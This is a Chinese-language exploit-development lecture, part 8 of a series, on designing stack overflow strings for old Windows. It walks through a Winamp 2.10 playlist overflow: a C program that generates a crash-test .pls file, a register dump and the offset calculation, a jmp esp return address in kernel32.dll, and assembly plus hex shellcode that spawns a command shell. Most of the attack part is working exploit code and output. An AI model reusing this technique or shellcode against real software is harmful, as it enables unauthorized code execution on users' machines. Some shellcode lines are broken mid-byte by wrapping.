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堆栈溢出系列讲座(8)
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window系统下的堆栈溢出－－－－溢出字符串的设计
我们已经知道了在windows系统下如何获得一次堆栈溢出，如何计算
偏移地址，以及如何编写一个shellcode以得到dos。
但是这远远不够。
大家知道windows系统的用户进程空间是0--2G，操作系统所占的为2--4G。
事实上用户进程的加载位置为：0x00400000.这个进程的所有指令地址，数据地址
和堆栈指针都会含有0,那么我们的返回地址就必然含有0。
现在来看一看我们的shellcode：NNNNSSSSAAAAAA。显然，我们的shellcode
由于A里面含有0，所以就变成了NNNNNNNNSSSSSA,这样，我们的返回地址A必须精确
的放在确切的函数堆栈中的ret位置。
事实上，在上一讲里面，我们已经掌握了很精确的找到这个位置的方法。
其次，windows在执行mov esp，ebp的时候，把废弃不用的堆栈用随机数据填充
（实验所得，机制如何，大家一起研究），因此我们的shellcode可能会被覆盖！
－－－－这下完蛋了，我们的shellcode都没了，返回地址正确又有什么用？？
所以，我们的shellcode必须改成如下方式：NNNNNNNNNNNNNNNNNASSSSSSSSS,在缓冲区
溢出发生之后，堆栈的布局如下：
内存底部 内存顶部
buffer EBPret
<------ [NNNNNNNNNNN][N ] [A ]SSSS
^;buffer
栈顶部 堆栈底部
看到了吗？我们的A覆盖了返回地址。S位于堆栈的底部。A的内容，就是指向S的调用。
但是，刚才我们说过A里面是含有0字符的，这样的溢出字符串，在A处就被0阻断，
根本无法到shellcode。我们需要把A改成不包含0的地址。
好像没有办法了，是吗？现在我们的A如何能做到即可以跳转到我们的shellcode，
又可以不包含0字节呢？
大家可能还记得当年IIS4.0远程攻击的作者dark spyrit AKA Barnaby Jack吧？
他在99年的Phrack Magzine55.15 上提出了使用系统核心dll中的指令来完成跳转
的思想。我不得不说这是一个天才的想法。事实上，这一技巧开创了一个崭新
的windows缓冲区溢出的思路。
思路是这样的：返回地址A的内容不指向我们的shellcode开始地点，否则的话
A里面必然含有0。我们知道系统核心的dll都是在2－4G，也就是从0x80000000到
0xffffffff,这里面的指令地址将不包含0，（当然几个别的除外，我们可以不用他）。
因此，我们可以令返回地址A等于一个系统核心dll中的指令的地址，这个指令的
作用就是call/jmp 我们的shellcode。
但是他怎么才能知道我们的shellcode的地址呢？
答案是：用寄存器。因为在溢出发生的时候，除了eip跳到了系统核心dll去之外，
其他的通用寄存器都保持不变。在寄存器里面一定有我们的shellcode的相关信息。
比如说，敌人的函数如果有参数的话，那么我们的A覆盖了他的返回地址，shellcode
的开始地址则恰恰在他的第一个参数的位置上，那我们就可以用call [ebp+4]或者
我们假设敌人第一个参数的地址在eax，那我们就可以使用call/jmp eax来调用shellcode
。这些寄存器的值，我们可以在第一讲里面提到的“关闭程序框”里面获得寄存器和
堆栈的详细资料。
那么我们怎么知道哪里有call/jmp eax什么的呢？我们又怎么知道这些指令是每次都在
内存中可以直接调用呢？
答案是：系统核心dll。系统核心dll包括kernel32.dll,user32.dll,gdi32.dll.
这些dll是一直位于内存中而且对应于固定的版本windows加载的位置是固定的。
你可以在这些dll里面搜索你需要的指令。其他的dll，比如msvcrt。dll就要去看程序
自己的import列表了。看看他是否load了这个dll。不过一般的说，这几个dll就够了。
好，那么我们的shellcode最终为：
NNNNNNNNNNNNNNNASSSSSSSS
其中：N为NOP指令
A为指向某一条call/jmp指令的地址，这个call/jmp指令位于系统核心内存
＞<I>0x80000000， </I>
这个call/jmp指令具体的内容，需要根据我们exploit出来的结果分析得知。
S：shellcode。
有了这些基础知识，我们来分析一个实例。
大家都有winamp吧，他的2.10有缓冲区漏洞，下面我们来实现一个exploit。
winamp的playlist支持文件*.pls存放playlist。playlist里面的文件名长度
如果大于一定长度就会发生堆栈溢出。我们可以写出测试串，精确的测试。
test.cpp
------------------------------------------------------------------------
int main()
{
char buffer[640];
char eip[8] ="";
char sploit[256] = "";
FILE *file;
for(int x=0;x<640;x++)
{
switch(x%4) {
case 0: buffer[x] = 'A';break;
case 1: buffer[x] = 'A'+x/26%26/26%26;break;
case 2: buffer[x] = 'A'+x/26%26;break;
case 3: buffer[x] = 'A'+x%26;break;
}
}
buffer[x]=0;
file = fopen("crAsh.pls","wb");
fprintf(file, "[playlist]\n");
fprintf(file, "File1=");
fprintf(file, "%s", buffer);
fprintf(file, "%s", eip);
fprintf(file, "%s", sploit);
fprintf(file, "\nNumberOfEntries=1");
fclose(file);
printf("\t created file crAsh.pls loaded with the exploit.\n");
return 0;
}
------------------------------------------------------------------------
算法很简单，是写出一个crach.pls文件，内容可以根据那几个fprintf看出来的。
我就不讲了，其中buffer的内容为测试用的字符串。这个测试程序可以测试
最长为26^3的串，足够了。
编译执行，看看结果，嘿，发生了堆栈溢出，结果如下：
WINAMP 在 00de:4c574141 的模块
<未知> 中导致无效页错误。
Registers:
EAX=00000001 CS=017f EIP=4c574141 EFLGS=00000206
EBX=006da30c SS=0187 ESP=006da170 EBP=006da2f4
ECX=00000000 DS=0187 ESI=00445638 FS=4bd7
EDX=005b02dc ES=0187 EDI=00000001 GS=4206
Bytes at CS:EIP:
Stack dump:
50574141 54574141 58574141 42584141 46584141 4a584141
4e584141 52584141 56584141 5a584141 44594141 48594141
4c594141 50594141
根据eip=4141574c计算得出，addr = (57h-41h)*26+(4ch-41h)-4 = 580.
好，溢出的位置为580。
大家现在知道我们的溢出字符串中，返回地址A应该在串的580处，那么我们应该
让他使用什么call/jmp指令以达到shellcode呢？
看看寄存器dump，我们发现ESP里面的内容是41415750，恰好是4141574c之后的
第一个数。看来ESP指向我们的shellcode，太棒了！我们使用指令：
jmp ESP 就可以执行我们的shellcode了。
现在找出jmp esp的指令码为 FF E4,ctrl-D 调出s-ice,看看内存里面那里有FFE4.
因为系统核心dll的加载地址都是从地址0xBf000000开始，所以我们
搜索s Bf000000 L ffffffff ff,e4
得到了哪些结果？
一堆呀，这第一个是：BFF795A3。看看softice里面的进程名称栏：
Kernel32!GetDataformatA+1554好，是kernel32.dll里面的，肯定是可以用的啦。
ok，问题解决，我们现在可以确定在buffer〔580〕处，写入四个字节：
"\xa3\x95\xf7\xbf".这就是我们的溢出字符串中的返回地址A。
好了，现在溢出字符串已经基本分析完了，就差shellcode了。
下面我们来写shellcode。
我们的shellcode要开一个dos窗口。C语言的算法描述是：
LoadLibrary("msvcrt.dll");
system("command.com");
exit(0)；
很简单，是不是？下面是汇编代码：
首先要LoadLibrary("msvcrt.dll");
push ebp
mov ebp,esp
xor eax,eax
push eax
push eax
push eax
mov byte ptr[ebp-0Ch],4Dh
mov byte ptr[ebp-0Bh],53h
mov byte ptr[ebp-0Ah],56h
mov byte ptr[ebp-09h],43h
mov byte ptr[ebp-08h],52h
mov byte ptr[ebp-07h],54h
mov byte ptr[ebp-06h],2Eh
mov byte ptr[ebp-05h],44h
mov byte ptr[ebp-04h],4Ch
mov byte ptr[ebp-03h],4Ch
mov edx,0xBFF776D4//LoadLibrary
push edx
lea eax,[ebp-0Ch]
push eax
call dword ptr[ebp-10h]
然后是开一个dos窗口：
push ebp
mov ebp, esp
sub esp, 0000002C
mov eax, 6D6D6F63
mov dword ptr [ebp-0C], eax
mov eax, 2E646E61
mov dword ptr [ebp-08], eax
mov eax, 226D6F63
mov dword ptr [ebp-04], eax
xor edx, edx
mov byte ptr [ebp-01], dl
lea eax, dword ptr [ebp-0C]
push eax
mov eax, 78019824 //system
call eax
最后执行exit，退出来。
push ebp
mov ebp,esp
mov edx,0xFFFFFFFF
sub edx,0x87FFAAFB//exit
push edx
xor eax,eax
push eax
call dword ptr[ebp-04h]
简单说一下，msvcrt.dll是运行C语言标准库函数所必须的一个动态链接库。
要想使用system,exit，必须加载这个库。而winamp没有import这个库，
所译我们需要自己加载。
指令 mov edx,0xBFF776D4中，0xBFF776D4是函数LoadLibraryA的地址。
他的代码在kernel32.dll中，是被winamp加载了的dll。我的机器上kernel32.dll
版本是： (v4.10.2222) .
0x78019824 是msvcrt.dll里面的函数system的地址。版本：(v6.00.8397.0)
0x78005504 是msvcrt.dll里面的函数exit的地址。版本：(v6.00.8397.0)
由于里面有0，所以使用两条指令来完成：
mov edx,0xFFFFFFFF
sub edx,0x87FFAAFB//==mov edx,0x78005504
编译，找出二进制code：
shellcode：
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x4
5\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA\x50\x77\xF7\xbF\x52\x8
D\x45\xF4\x50"
"\xFF\x55\xF0"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x6
4\x2E"
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x4
5\xF4"
"\x50\xB8\x24\x98\x01\x78\xFF\xD0"
"\x55\x8B\xEC\xBA\xFF\xFF\xFF\xFF\x81\xEA\xFB\xAA\xFF\x87\x52\x33\xC0\x5
0\xFF\x55\xFC";
好了，所有的算法都讨论完了，下一讲我们就来实现一个exploit。
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